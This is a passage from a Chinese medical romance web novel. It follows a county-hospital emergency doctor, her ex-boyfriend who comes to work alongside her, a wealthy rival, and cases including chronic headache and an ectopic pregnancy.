江明月往回走,不经意间瞥见楼梯口站着杨青松,正在和一个背影挺拔的男人相谈甚欢。 这个背影……江明月一眼就能认出来。 她顿时怔住了。 杨青松远远地看见了她,朝她招招手。和他说话的男人因而侧首望了过来。 江明月别开眼,装没看见。她想目不斜视继续往前走,但她的鞋子仿佛粘在了地上,根本挪不动脚步。 杨青松笑呵呵地朝她走了过来,手掌指向旁边的男人:“江医生,这是新来的沈医生,你们应该认识吧?你们都是海大附院的。” 江明月冷淡抬眼:“不认识。” 杨青松笑着说:“不认识也没关系,你们都是年轻人,共事几天就熟了。”他转头看沈归时,“沈医生,我们这里的青年医生普遍医术不精,麻烦你多多指教,把你们大城市先进的医疗经验教给他们。这位是江医生,比你早来一个礼拜,目前在急诊。” 杨青松说着,掏出手机接了个电话,说了几句之后放下手机,跟眼前两名下乡医生打招呼:“你们互相认识一下,我这边有点急事,先走啊。” 杨青松步履匆匆地离开了。 空旷的楼道里,只剩下静默对视的两个人。 许久,江明月沉下脸问:“你怎么来了?” 沈归时说:“打申请来的。” 江明月语气很凶:“我是问你为什么来!” 沈归时轻声说:“我想见你,师姐。” 江明月气急:“你要是还认我是你师姐,你现在就回去!” 沈归时立马改口:“江医生。”发现江明月更生气了,又换了一个称呼,“明月。” 江明月严词质问:“你过来干什么?神外那么多病区,你现在最应该做的是把每个病区轮一遍,确认自己以后想专攻的亚专业方向,这你不懂吗!神外讲究技术和经验,卢主任愿意手把手教你,你不趁着年轻跟他好好学,来这里浪费时间干什么!还是说你在这里能有什么科研成果?这里有条件让你做基础实验,还是有临床样本给你研究?海城大环境有多重视科研你不知道吗?!你是不是觉得自己26岁博士毕业年纪轻轻浪费一年也没关系?” 走廊角落里的毛小东悄悄探出半个脑袋,一眼瞟见了气急败坏的江明月。 诶?这还是他印象里那个“脾气好、不发飙”的江老师吗? 原来凶起来这么凶啊。 沈归时满眼笑意:“你关心我。” 江明月感觉自己气得手抖,撂下一句:“懒得理你!” 她转身就走。 沈归时大步追了上去。 角落里的毛小东蹑手蹑脚地跟着他俩。 江明月走了几步,回头冷声问:“我是不是跟你说过别跟着我?” “是。”沈归时承认,然后认真道歉,“对不起,这个我做不到……我真的好想你。” 毛小东惊得下巴都快掉了,像一只瓜田里的猹。 哇哦。 这不比上班有意思? 江明月躲开沈归时的视线:“我还有工作,没时间和你多说。” 沈归时又朝她走近一步,江明月本能地往后退了一步。 “那你先忙。”沈归时定在原地不动了,“能不能先把我从黑名单里放出来?我们现在也算同事了,有事方便联系。” 江明月没说好不好,仍旧沉着脸:“知道了。” 第57章 挑衅 他不敢深究 沈归时目送江明月走回诊室, 转身准备离开。 然后就发现走廊拐角的暗处有一个探头探脑的人影。 他眉间轻拧,视线盯住了那人。 对方也知道自己被发现了,不甚自然地走到了亮处, 规规矩矩地问好:“老师好。我叫毛小东, 是这里的急诊科医生。” 沈归时轻淡地扫了他一眼。 毛小东小心翼翼地问:“您和江老师认识啊?” 其实毛小东想问这人和江明月是什么关系,没敢直接问。他一颗八卦的心都快跳出来了, 不弄明白就浑身刺挠。 沈归时没说话,只是轻微一点头。 毛小东觉得气氛太尴尬了, 便主动奉上有效信息:“有个男的,天天来等江老师下班。” 沈归时终于开口:“谁?” “一个有钱人。”毛小东竭力回忆着, “江老师好像喊他……林先生。” 沈归时已经有了猜测,求证道:“那人长什么样?” 毛小东说:“和您差不多高, 双眼皮,高鼻梁, 穿得挺讲究,西装革履的。” 沈归时轻轻磨了下后槽牙, 清俊耐看一张脸因为面无表情,而浮出了几分难言的冷峻:“我知道了,谢谢。”- 沈归时回到宿舍。 下午杨青松带他来宿舍时, 话里不乏抱歉:“这套房子总共两个房间,朝南的那个大房间已经有人住了, 沈医生,要委屈你住那个朝北的小房间了。” 沈归时自然说没关系。 杨青松又道:“另一间房里住的也是你们海大附院下来的医生,不知道你们认不认识。都怪我们医院经费有限,没办法给你们提供更好的住宿条件。” 沈归时先是怔愣,随后便不由自主地笑了起来:“杨院长,您已经安排得很妥当了, 谢谢您,费心了。” 今年海大附院安排了很多医生到县级及以下医院交流工作,但是来彤县的只有两个人。一个是他,另一个是江明月。 所以那个朝南的大房间里住的人,是江明月。 进宿舍卫生间一看,洗手台上果然摆着她惯用的洗手液。 而厨房里干干净净,一个锅具都没有。 她不会做饭,这里又点不到外卖。 也不知道她这几天都去哪里吃饭的- 沈归时今天刚到彤县。杨青松同样让他休息几天再上岗。 沈归时坐在宿舍简陋的餐凳上,尝试给江明月发消息。 【现在忙吗?】 消息发出去之后,边上仍旧是一个红色感叹号。 ……还没把他从黑名单里放出来。 几分钟后,沈归时听见了门锁转动的声音。 急诊科分白班和夜班。江明月今天是白班,还有一个多小时才下班。按理说不会这么早回来。 沈归时望向门口。 下一秒,房门打开,林逸走了进来。 沈归时倏地站起身。 林逸没想到房子里还有人,听见凳子晃动的动静才转头看过来,脸色渐渐发沉:“你怎么在这儿?” 这话沈归时也很想问。 他同样脸色难看:“你怎么有钥匙?” 林逸迅速调整好表情,端出一个理所当然的淡笑:“当然是明月给我的。” 钥匙的确是江明月给他的。 就在昨天,江明月发现这个房子里有蟑螂。 这里的蟑螂个头超大,动作还很敏捷,窜得飞快,到处找缝隙乱钻。 江明月便问林逸,之前那瓶驱蚊水是在哪里买的,挺管用,她想再去买一瓶灭蟑螂的药。 林逸让她把宿舍钥匙给他,让她安心工作,别操心这些琐事,他会安排专业人士上门处理。 沈归时脑子很乱。 他不想深究,也不太敢深究江明月为什么会把住处的钥匙给林逸。 林逸端详着他的神色,好整以暇地问:“请问——你为什么会出现在这里?” 沈归时抿了抿唇:“这里是我宿舍。” 林逸顿时了然:“沈公子也来这儿工作?真是医者仁心,令人钦佩。” 沈归时说:“嗯,女朋友教得好。” 林逸冷笑:“女朋友?你还真有脸说。明月早就跟你分手了。” “这是我们的事,跟你没关系。” “令堂曾经雇佣打手伤害明月,不知你是否知情。”林逸轻轻嗤笑,“你连自己的家人都管不好,连她的人都保护不了,你有什么资格喜欢她?” 沈归时微怔:“打手?什么时候的事?她受伤了吗?” 林逸不予回应。 沈归时隐隐觉得不对劲,神情微凛:“你又是怎么知道的?” 这时,“咚咚咚”几记敲门声响起,门外传来喊声:“有人吗?灭蟑螂的!” 林逸开门放人进来。 几个身着工装的男人拎着工具箱走了进来,在门口换上鞋套之后进屋,几个人迅速分工,在室内各个角落撒上蟑螂药,封堵墙面缝隙,安装电子驱蟑器。 林逸亲自监工,签字结账。那架势像极了男主人。 等这些人忙活完,也快到江明月下班的时间了。 林逸看了眼腕表,拿手机拨出电话:“成雷,让司机把车开过来。” 电话里不知说了句什么。林逸淡声道:“去昨天那家店。那里菜色比较清淡,明月很喜欢。” 沈归时算是知道江明月这些日子是怎么吃饭的了。 林逸一边打电话,一边开门出去。全程没再施舍沈归时一个眼神,拿他当空气般视而不见。 这房子的采光并不是很好。虽然外面阳光明媚,但室内的光照并不多,显得有些昏暗。 沈归时没有开灯。 他安静地枯坐了片刻,打电话问梁书琴:“妈,你还派人打过明月?” 梁书琴不耐烦道:“怎么了?” “你怎么能——” “行了!你已经说服你爷爷出面帮你退婚了,你还想怎样?我现在都没脸去见郭老!以后你想娶谁就娶谁,我不会再管!” 梁书琴掐断通话。 沈归时低下头。手肘撑着膝盖,手掌虚握成拳,抵住了额头。暗色的墙体上,投出一道更为晦暗的影子,落寞而清寂。 半晌,他打起精神,起身出门- 林逸到了县医院,直接去诊室找江明月。 诊室内只有毛小东一个人。林逸问:“江医生呢?” 毛小东指了下门外:“去输液区了。” 林逸便去输液区找人- 之前那个坐轮椅的头痛男人正躺在输液区的病床上休息。 江明月站在病床边,翻看着小陈——那个推轮椅的瘦高男人——回家一趟取来的各种检查单。 头痛男人名叫贺凌,33岁。 小陈是他的生活助理,负责提醒他吃药,照看他的身体。 贺凌做过很多检查。头部增强核磁、脑部血管彩超、腰穿,甚至基因检测,全部查过,均无异常。 就是不明原因的慢性头痛。 江明月问小陈:“止痛针有效果吗?” 小陈点头:“打完针大概过了五分钟就不疼了。” 江明月问得很细:“以前打过止痛针吗?还是一直靠吃止疼药缓解?” “打过的,不过医生说止痛针会上瘾不能多打,所以主要靠吃药,只有疼得受不了了,才会打一针。” “这些检查单和病历能让我拍个照片吗?” 小陈不解:“啊?为什么?” “是这样,我是海大附院的,我们医院今年收治了一个常年头痛的病人,预后效果很好。”这个病例当时被写成推文,登上了海大附院的公众号,所以江明月印象很深,“我想把你的情况发给那个病人当时的医疗团队,看看有没有治愈的可能。” 病床上的贺凌忽然睁开眼,问她:“那个人……是怎么治好的?” “不好意思,因为不是我的专业方向,具体情况我也不是很了解。” 现代医学的分科很细,有时候跨了学科就像隔了一重山,看什么都云里雾里的。江明月接着说,“我只知道是通过手术治疗的,在脑子里放了一个装置。” 贺凌说:“好,那就麻烦你帮我问问看。小陈——” 小陈应声。 “你加一下这位医生的联系方式,把我这些年的病历和报告整理好,发给她。” 和许多经年累月忍受病痛折磨的患者一样,贺凌尝试过所谓的“偏方”,试过针灸按摩,也试过连续数月住院输液。虽然均以失败告终,但是——只要有一丝治愈的希望,他还是会尝试。 这就像一个身居暗室的人,一旦发现某一处墙面的缝隙里漏出来一点光,就会拚命地捶打缝隙周围的墙体。虽然那些墙面每一次都是纹丝不动、坚不可摧,仿佛命运无情的嘲笑。但是——万一呢,万一这次墙塌了呢?- 下班时间到了。 江明月准备去换衣服。一转身,看见林逸就站在不远处望着自己。 输液区大部分都是感冒发烧的病人,咳嗽声此起彼伏。 江明月下意识地推着林逸往外走:“这里病菌多,你别待在这儿。” 林逸唇角上扬,顺从地跟着她出去。 江明月进更衣室,把身上的白大褂换下来,看见储物柜里有个还没拆封的快递,猛然想起今天是周五,是林逸的生日。 快递是崔晚晚寄过来的定制袖扣,上周日就寄到了。 江明月连忙把快递拆了。从层层叠叠的泡沫纸里取出一个小巧的方形礼品盒。 她拿着礼品盒走出去,直接递给等在门外的男人。 “这个给你。生日快乐。” 林逸唇边的笑意扩大:“谢谢。” 江明月客套地回应:“不客气。这几天蹭了你那么多顿饭,我实在过意不去,只好借这个机会投桃报李了。” 江明月觉得林逸为人处世是真的妥帖。她刚到彤县那一天,跟林逸随口提了句县医院只包住不包吃,这人便列了一长串拟合作的餐馆名单,每天随机挑选一到两家,邀请她去尝尝味道。 说是实在找不到合适的人帮他评价餐馆好坏了,这才天天来找她帮忙。 所谓“帮忙”,当然只是林逸找的托词,江明月心知肚明。 她想,真正的缘由应该是林逸同情她在这儿没饭吃,出于两家生意上往来的一点交情,难免要略加照拂。为了避免她尴尬,才编出这么个由头,以便她坦然接受。 江明月指了指礼品盒:“我找人定制了一对袖扣,你看看喜不喜欢。” 林逸并未拆开礼品盒,“你送什么我都喜欢。” 江明月有些愣住了。林逸看得分明。 他的眸色微沉,却轻描淡写地补充:“因为这是我人生第一次收到生日礼物。” 江明月神情一松,语气也跟着轻快起来:“怎么会?你小时候父母给你过生日,都不给你买礼物的吗?” 林逸说:“我父母从来不陪我过生日。” 江明月发誓,她刚刚只是顺口一问!仅仅是善意的调侃!纯属不过脑子的玩笑话! 她没想到会得到这样一个答案。 林逸淡声解释:“我父母是协议联姻,感情不合,两人都不愿意管我。他们也许确实很忙,连跟我多说几句话都不愿意,更别说陪我过生日了。” 所以林逸从小就没有生日的概念。 后来到了上学读书的年纪,有个同学过生日请全班同学吃饭。彼时,林逸才知道生日这一天很特殊,值得庆祝。 江明月垂下眼眸,既尴尬,又自责,声音不由自主地低了下去:“抱歉啊……我不是故意提这个的……” “没关系。” 其实林逸早就习惯了这样畸形怪异、生疏淡漠的家庭关系,幼年时期的他或许会渴求父母稀薄的关爱,但今时今日的他,已经完全不在乎了。 他甚至觉得,能用这样一份经历,博取江明月一点点同情心,很值得。 “明月,一会儿吃完晚饭,你能陪我去个地方吗?” 江明月脸上的歉意实在明显,林逸料定她一定不好意思拒绝。 江明月果然点头:“可以啊,今天你是寿星,你说了算。” 林逸微微勾唇。 他发现有人从走廊尽头的拐角走了过来。 待看清来人的脸,林逸忽然轻声道:“我说了算?那我希望你可以抱我一下。在我印象中,我父母都没有抱过我,从来没有。” 江明月还在为刚刚戳到人家的伤心事而忏悔,闻言便伸手绕到他身后,安慰般地拍了拍他的后背。 林逸抬手将她往自己怀里按,下颔轻轻抵在她的发顶,眼中带着些许挑衅,望向逐步走近的沈归时。 沈归时没听清他们刚刚的对话。从他的角度看,就是江明月主动对林逸投怀送抱。 短短几步路的时间,他已经说服自己接受了这件事。 没关系。 他既然敢爱明月,就能接受月光不只照他一人。 第58章 多想 那可能是她第一次心动。 沈归时走到相拥而立的两人身边, “打扰一下。” 江明月听见这道清朗的声音,立刻条件反射般地推开了林逸。 林逸垂眸看她的神色。 她脸上不见喜怒,只是轻轻地抿唇。 林逸淡然出声:“有事?” “没什么事。”沈归时说, “就是想打扰一下。” 江明月平静地注视着沈归时, 几秒之后说:“你跟我来。” 江明月让林逸等她十分钟。 她带沈归时去了输液区。 贺凌仍旧躺在病床上休息。 小陈看见江明月,站起来点头致意。 “这是我的同事, 是海大附院神经外科的沈医生。”江明月向小陈介绍,“你再把刚刚那些检查单拿给我们看看。” 小陈递上厚厚文件袋。 江明月把贺凌的情况跟沈归时说了一遍。又道:“神外之前是不是收了个慢性头痛的病人, 后来做手术治好了?” 沈归时点头:“是功能神外病区收治的,采用了DBS干预。”他估计江明月不太了解, 所以详细解释了一下,“deep brain stimulation, 简单来说就是在脑区置入电极,通过电流刺激特定靶点, 从而达到治疗效果。这个有论文的,你把我加回来, 我发给你。” 江明月“嗯”了声。 沈归时接着说:“DBS疗法本身已经很成熟了,因为是微创,所以相对来说也比较安全, 不过在治疗慢性头痛这方面,还在探索阶段。” 江明月大致听明白了。 贺凌问了一个很多患者都会问的问题:“手术有风险吗?” 沈归时说:“手术都是有风险的。”他顿了顿, “能不能做手术也是需要评估的,不是你想做就能做的。目前治疗慢性头痛主要还是靠药物治疗,选择手术治疗的是极少数。” 贺凌笑了:“谢谢。我愿意试试。” 沈归时颔首。一转头,发现江明月已经走远了。 他心头一紧。 贺凌说:“我打算这几天就去海大附院看看,请问应该挂哪位专家的号?” 沈归时说了一位教授的名字。 贺凌道谢,又问了一些手术的细节, 沈归时匆匆留了个电话:“我现在有点急事,你还有什么问题可以打我电话问。” 沈归时跑出急诊大厅。 县医院的外墙围出了一片不大不小的的院子。一辆黑色越野车停在场地中央,车灯没关,猩红色的车尾灯像野兽的赤瞳。 林逸为江明月打开副驾驶车门。越野车的底盘高,她先踩住了踏板,然后才倾身坐进了车里。林逸为她关上车门,绕到另一侧驾驶位,抬腿上车。 越野车油门轰响,快速驶远- 林逸给司机放了假,亲自开车带江明月出去吃饭。 餐后,林逸说要去一个景区。 江明月已经答应了要陪同,自然没有异议。她好奇问道:“哪个景区?” 林逸说:“新景区,还没开发好。” 江明月到了才知道,景区在山上。 目前才建设了一半,尚不成熟,山路上连个指示牌都没有。 天色漆黑,前路仅仅依靠车灯照明。 江明月有点担心:“晚上视野差,要不……明天白天再来?” “我认识路。”林逸转动方向盘,过弯的时候开得很慢,“来过两次。” “你来这儿做什么?” “打算投资这个景区。”林逸轻踩刹车,“这里有个瀑布,你把车窗打开,能听见水声。” 江明月按下车窗。 “哗哗”的水流声不绝于耳。湿润的水汽与夏夜凉爽的山风交融,一同扑面而来。 越野车沿着已经开辟好的路线开到了山顶。上山的车速不快,这会儿已经将近凌晨一点。 山顶是一大片平坦的空地。 林逸停好车,熄了车灯。 江明月往前看。夜幕离得很近,挂满了星辰,银河如带,璀璨而清晰。 她推门下车,仰望连绵的星空,不由自主发出了一声感叹:“哇——” 那些不知道隔着多少光年的星星在发光,像宇宙给地球编织的一封情书。 林逸还在车上没下来。江明月去敲他的车窗:“你不下来看看吗?” 林逸望着她笑,开门下车。 那天景区的工作人员跟他说,如果天气晴朗,山顶可以看到银河。那时他就想带她一起来看了。他想她一定会喜欢。 她不知道她比万里星河更耀眼- 江明月拿手机拍了几张照片。 照片远没有肉眼看到的来得震撼,但也足够瑰丽动人。 她打开微信,想与人分享刚刚拍下的风景,点进微信首页,才意识到原先置顶的那个对话框没了。 她退出微信,给手机锁屏。 “走吧。”江明月笑笑,“还要麻烦大寿星送我回宿舍。” 回宿舍? 让你回去和那个对你旧情难忘的前男友共处一室? 林逸轻轻勾唇:“山路不好开,我们等天亮了再下山,比较安全。” “也行。那我想顺便看个日出,不白来这一趟。” 江明月查了天气和日出的时间,“明天是晴天,应该有日出。不过还要再等三个多小时。” 林逸提议:“你困的话可以去车上睡一会儿,我帮你订闹钟。” 江明月熟睡时毫不设防,他很贪恋那样的江明月,拥她入怀的时候,仿佛可以真正地拥有她。 江明月却摇头:“我不困。” 她确实不困。 那样突兀地见到了意料之外的人,那个为她奔赴千里追过来的人,那个下定决心要割舍的人。 她没办法无动于衷。 她心烦意乱,毫无睡意。 好在明天是夜班,有一整个白天可以补觉。 江明月挑了一块平坦的山石坐下,对照着手机上的科普,开始辨别夜幕上的星辰分属于哪些星座。 就这样消磨着时间,直到天际出现一缕微光。 天亮了- 早上七点多,看完日出的江明月终于返程。 林逸送她回宿舍。 越野车开到了宿舍楼下,林逸忽然问:“明月,你想不想换个地方住?” 江明月解开安全带,准备下车:“为什么要换?” “这里物业管理松散。”林逸蹙眉思索理由,“你看,楼道里的灯都是坏的,小区花坛都被用来种菜了。” 江明月说:“没关系,我对住宿环境没那么多要求。况且这里已经是离县医院最近的小区了,如果换别的地方住,上下班就没这么方便了。 “你宿舍里的蟑螂,我昨天找人过来处理好了。”林逸把宿舍钥匙还给了江明月。 “谢谢。” “你那个前男友……现在也住这里。” 江明月不禁怔然。 她还不知道沈归时和她住同一间宿舍。 “我昨天过来的时候,发现他也在。”林逸紧盯着江明月的神情变化,又问了一遍,“你想不想换个地方住?我可以帮你找附近的房源,不会影响你上下班。” 江明月真的有点犹豫了。 但她最终还是说:“算了。宿舍是医院领导安排的,我不想搞特殊,不太合适。”- 沈归时再次尝试给江明月发消息。 消息仍旧被拒收。 这时有电话进来,沈归时接通,听见杨青松说:“沈医生,我们医院也是有脑外科的,不过……我们这儿硬件条件有限啊,脑外基本没有手术,比较清闲,你看你就去那儿工作一年怎么样?” 沈归时说:“杨院长,我想去急诊。” 杨青松一愣:“急诊要值夜班的。” “我没问题。” “也行,也行。我们医院体量小,急诊也不是很忙的。” 通话结束后,沈归时始终坐在客厅的暗处。 昨天下午,他亲眼目睹江明月上了林逸的车,然后一整夜没有回来。 结合她昨天还主动抱了林逸。林逸甚至有她宿舍的钥匙。 他真的很难不多想。 也不知过了多久,沈归时听见开门声。 他望向门口,幽幽地说:“你回来了。” 这房子采光不好。江明月一言不发地开了灯。白炽灯的光线明亮,照亮了沈归时所在的位置。 他瘦了好多——她昨天就发现了。脸上几乎没什么脂肪,肌骨线条愈见凌厉。他似乎很久没有好好睡觉了,眼底有好几道红血丝,从深黑的瞳仁蔓延出去。 江明月轻轻移开视线,走进自己房间。 夜晚的山顶很凉爽,但日出后温度就上来了。她出了层薄汗,打算先冲个澡,换身干净衣服。 沈归时看着她抱着换洗衣物往卫生间走,呼吸顿了两秒才续上。 她有洁癖。事后洗澡换衣服,确实是她的习惯。 沈归时深深吸了一口气,站起身朝她走去:“听说你被打了……有没有受伤?” 江明月脸色转冷:“差一点。” 沈归时眼中写满了疼惜:“对不起,我向你保证,这样的事绝不会再发生。” 江明月没说话,进了卫生间,放下衣服,转身关门,沈归时连忙伸手抵住那扇门:“我退婚了,我现在没有未婚妻了。” “那是你的事。” 江明月握住卫生间门把手,正想把门关上,看到沈归时的手还撑在门框上。 她怕夹到他的手,终究没有关门。 沈归时接着说:“沈家是在我高三那一年找到我的,那时我的养父母刚走没多久,沈家出钱出力,让我给养父母办了非常体面的后事,在我心里,他们和我的亲生父母没有区别。他们吃苦耐劳,朴实善良,对我的影响很深。沈家人的出现并没有影响我任何一个关于未来的决定,比如学医,比如留在海城,比如……爱你。” “当然,不论如何,我都不该对你有所隐瞒,我知道错了,以后再也不会了。” 沈归时认真凝望着江明月的眼睛,“我只是想告诉你,无论沈家有没有找到我,你看到的都会是这样一个我。我从始至终,都想参与你的人生。” 江明月与他对视。 他的目光专注又赤诚。 去年夏天,他给她手臂缝针,那时他也是用这样的目光看着她,然后拂开她额前的碎发,说:“这里也有擦伤,师姐。” 后来江明月无数次地回忆过那一幕。 那可能是她第一次心动。 “师姐……明月,你别生我的气,不要不理我,可以吗?”沈归时问得小心翼翼,带了些祈求。 江明月说:“我要洗澡,你出去。” 沈归时没动。 江明月抬眸:“还不走?想看我洗澡?” 沈归时还在问:“可以吗?” 江明月反问:“你说可以吗?这种话你也问得出来啊沈归时!” 见她有点生气,沈归时立刻走出卫生间。 江明月洗完澡从卫生间出来,发现沈归时不在。 餐桌上留了张字条。 【出门买菜,很快回来】- 一刻钟后,沈归时拎着几样蔬菜和一袋活蹦乱跳的河虾回来了。 江明月正在吹头发,在嗡嗡的噪声中听见沈归时问她:“中午吃水煮虾好不好?” 她习惯性地说了声:“好。” 说完自己都愣了一下。她抿唇:“当我没说。” 沈归时“可你说了。” “我没说。” “……”沈归时妥协,“行,你没说。” 沈归时去厨房处理食材。片刻之后,他去敲江明月的房门:“来吃饭。有你爱吃的水煮虾。” 江明月大概纠结了半分钟。 沈归时的厨艺她很清楚。虾线一定已经去掉了,虾肉不会腥,只会鲜美、弹嫩。 江明月终于坐到了餐桌前。 是为了水煮虾,还是别的什么。 她说不清。 沈归时买了当地特色的米粉,煮了两人份,小青菜烫熟之后放进了粉里,还放了剥好的虾仁和煎蛋。一碗粉弄得赏心悦目。 沈归时把餐桌上那张字条收走。 “什么时候才能把我从黑名单里放出来?不能一直用这么原始的方式沟通吧?” 江明月在手机里捣鼓了一会儿,没找到黑名单在哪儿撤销。她低头吃粉,直接把手机递给沈归时,“你自己弄。” 沈归时把自己从黑名单里拉了出来,抬眸瞥了一眼江明月,见她正专心吃粉,便不动声色地翻她的微信聊天记录,没翻到她和林逸的对话框。 他又去通讯录里找林逸的手机号,复制粘贴到微信搜索框,发现江明月还没加林逸的微信。 但是最近通话的记录里,大部分都是林逸。 基本是林逸打过来的,每天至少一个电话- 急诊夜班要从第一天下午六点,上到第二天早上八点。十四个小时。 江明月睡了一下午。傍晚五点半,闹钟响了,她从床上爬起来,准备去县医院。 沈归时跟着她一起出门。 江明月问:“你出去干什么?” “上班。以后跟你一起上急诊。” 江明月说:“你回去吧……我是说回海城。” 沈归时奉上四字箴言:“来都来了。” 江明月冷静劝说:“手术医生是需要保持做手术的手感的,你在这儿待一年,对你只有坏处没有好处。” “有好处。” “什么好处?” “每天都能见到你。” “……” “再说了,不论是哪里的病人,都值得被治愈。哪怕暂时不能治愈,能给病人提供一些最新的治疗方案也很好。就像贺凌,正因为我们过来了,跟他提了DBS疗法,他才有了去海城看病的打算。不论结果如何,至少有了治愈的希望。我想,这也是我们做下乡工作的意义所在吧。” 江明月竟然有点被说服了。她极轻地“嗯”了一声。 中国的医疗体系始终是一个流动的整体。下级医院需要派医生到上级医院进修,上级医院需要安排医生到下级医院帮扶。最新的技术和治疗经验,就在这个过程中,从顶级三甲医院传递到乡镇卫生所,惠泽所有人民群众。 不知不觉,两人走到了县医院。 江明月换上白大褂,回头看沈归时。 他的眼底光华奕奕,并不比昨夜的星辰暗淡。 第59章 我没你懂 “戴不戴都差不多的。”…… 毛小东窝在椅子上打瞌睡, 见江明月和沈归时一起过来了,顿时不困了,好奇又兴奋的目光在他们俩之间来回打转。 江明月对上他那诡异的眼神, 问:“怎么了?” 毛小东挠头:“没什么……没什么……那个……两位老师, 晚上一般没什么人来,要不我们轮流去值班室休息一会儿?” 他特别尊师重道地补了一句:“你俩先去休息。我在这儿守着。” 江明月指着门外, 跟沈归时说:“值班室在那儿,你去睡一会儿吧。” 她已经睡了一下午, 现在还不困。 沈归时问:“那你呢?” 江明月说:“我看着毛小东,他水平有限, 我不放心让他独立上岗。” 毛小东:“……” 说话间,一个小姑娘抱着肚子走了进来, 说肚子痛得不得了。 江明月看她挺面熟,略一回忆就想起来了:“是你啊。” 是那家特色菜馆里的苗族小姑娘。 小姑娘也认出了江明月, 只不过她现在腹痛难忍,没有多余的力气打招呼。 江明月问:“具体哪里疼?” 小姑娘指着右下腹某个位置。 江明月让她到检查床上躺下。 毛小东坐在桌前, 懒懒散散地转着笔玩。 沈归时将他一把拽了起来,毛小东猝不及防,吓得笔都掉了。 沈归时轻斥:“水平有限还不好好学?” 毛小东呆滞地望着他。 “看我干什么?去看明月怎么给病人查体。不会就多看, 不懂就多问,我说明白了吗?” 毛小东愣愣地答:“明白, 明白,我去看明月……” 沈归时凉飕飕地看他:“明月是你叫的?你喊江老师。” 毛小东打了个激灵,神游一般走到检查床旁边。 小姑娘小声问:“医生,我是不是阑尾炎啊?我上网查了,如果阑尾炎发作了,就是肚子右边痛。” “这里疼吗?”江明月按压阑尾处。 小姑娘没什么特别的反应:“不疼。” 江明月又问了她今天的饮食情况, 排除了一些常见的急腹症之后,她忽然想到了一种可能。 “你多大?”江明月问。 小姑娘说:“十九岁。” “有男朋友吗?” “有。” “有性生活吗?” 小姑娘有些羞涩:“嗯。” 江明月神情严肃起来:“例假来了吗?” “还没……但我一向不怎么准时……” 江明月走到椅子边坐下,给她开检查单:“先去验个血。” 小姑娘从检查床上坐起来:“啊?为什么?” “你目前腹痛、停经,有点像宫外孕。当然我也不是说你一定是宫外孕,现在只是让你抽个血排除一下,不是最好。宫外孕很危险的,分分钟要命。” 虽然江明月已经高度怀疑这小姑娘是宫外孕了,但出于职业习惯,她在和小姑娘交流的时候,还是保留了一点余地。一切以检查结果为准。 小姑娘涨红了脸:“上次是在安全期……不会怀孕的……” 毛小东插嘴:“你别看网上那些营销号胡说八道,根本没有所谓的安全期。不要抱有侥幸心理,不做措施,就等于备孕。” 小姑娘忙说:“我吃药了!事后……” 江明月问:“紧急避孕药?” 小姑娘点头:“我第二天就去药店买药吃了,药店里的人说三天之内吃都有用的。” 毛小东说:“哎呀,紧急避孕药不是百分百有效的,吃得越晚效果越差。” 小姑娘急了:“我吃过好几次了!之前都没出过事……” 毛小东问:“你老吃那种药干嘛?副作用很大的。你男朋友戴个套会死?” 小姑娘低头:“他说戴套不舒服……” 毛小东显然经验丰富,摆摆手说:“戴不戴都差不多的。” 江明月剜了眼毛小东:“你少说两句。就你懂的多是吧?” 毛小东顶嘴:“沈老师肯定也懂。” 沈归时当即否认:“你别乱说,我没你懂。” 江明月把单据递给小姑娘,让她赶紧去缴费做检查。 四十分钟后,检查结果出来了。 确认妊娠。 江明月看着报告单上方的信息——周蓝,19岁。 她不由自主地蹙眉:“周蓝,你怀孕了啊,你这个腹痛很有可能是宫外孕导致的。你得再做个B超看一下。” 小姑娘发懵。 江明月在她眼前晃了晃手:“怎么了?吓到了?叫你名字都没反应。” 小姑娘“啊”了声:“平时……平时大家都叫我阿蓝。” “嗯,阿蓝,你现在宫外孕的可能性很大,再去查个B超吧。有没有家里人跟你一起过来?” 阿蓝摇头:“我一个人过来的。” 阿蓝看上去很独立,一个人看病、做检查,安安静静地坐在医院冰凉的椅子上排队。 阿蓝出去以后,江明月跟毛小东说:“育龄女性如有性生活史,一定要考虑怀孕,做妊娠试验。如果确认是孕妇,CT这类检查肯定不能开,用药也要更谨慎。” 毛小东问:“如果病人说她没有性生活,那就不用查有没有怀孕了吧?” 江明月说:“也要查。” “为什么?” “因为很多病人会出于各种各样的原因隐瞒性生活史。尤其年轻女孩儿在有家长陪同的时候,跟你说的不一定是真的。”江明月认真道,“不要完全相信病人的话。” “不相信病人的话?那还怎么看诊啊……” 沈归时说:“让你不要完全相信,没让你完全不相信。” 毛小东都快被绕晕了。 这时,桌上的固定电话响了。B超室打过来的,说看到输卵管有胚芽了,确定是异位妊娠。 B超医生在电话里说:“我让病人去急诊继续留观,她没去,她刚刚给她男朋友打了个电话,不知道怎么回事,一直在哭,情绪很激动。” 江明月心头一紧:“快劝劝她!情绪激动的话,孕囊很容易破裂的,到时候大出血就麻烦了!” “嗯嗯,外面几个护士都在劝。” 江明月不太放心,跟毛小东交代道:“联系妇科会诊。” 她跑去楼上B超室。 阿蓝正哭着讲电话:“我没有骗你!我真的怀孕了!” 旁边两个护士好言劝道:“有什么话慢慢说,坐下来休息会儿,千万别着急。” 电话那头不知道说了句什么,阿蓝号啕大哭,情绪彻底崩溃:“你怎么对我这么不耐烦!你还是人吗!” 江明月赶紧让人去推病床,同时快步奔了过来,轻拍阿蓝的后背:“别哭别哭,来,上床躺一会儿,手机我帮你拿着。” 就这么半哄半劝地把阿蓝的手机拿了过来,随后迅速把通话掐断。 阿蓝乖乖地躺上了病床,两手捂住了脸。眼泪从指缝里流了出来。 江明月护送阿蓝到抢救室躺下,接上心电监护实时观测。 妇科医生赶来会诊。是个年轻的女孩子,看上去也刚工作没多久。 江明月给她看了检查报告,事无钜细地把阿蓝的情况说了一遍。 妇科医生看着B超影像,小声问江明月:“这个情况得住院手术吧?” 江明月点头:“嗯,你们科还有床位吗?” “我去查。”妇科医生急匆匆地走了。 “医生姐姐。” 江明月愣了愣,意识到是阿蓝在喊她,走近了问:“怎么了?” 阿蓝轻轻地说:“我好难受。” 江明月问:“哪里不舒服?” 阿蓝说:“我刚刚跟我男朋友说我怀孕了,他不相信……他还骂我没事找事,吵到他睡觉了……” “你先不要管别人怎么说,你现在最重要的是管好你自己。刚刚妇科的医生过来看过了,你这个情况是需要住院手术的,你先有个心理准备,跟家里人联系一下。” “啊?还要做手术?” “对,你怀孕了,但是胚胎长在了输卵管上,如果不做手术,胚胎会越长越大,直到把输卵管撑破,引发大出血,人会没命的。” “那我以后还能怀孕吗?” 江明月说了一句在生殖科经常说的话:“你还年轻,以后还有机会。” 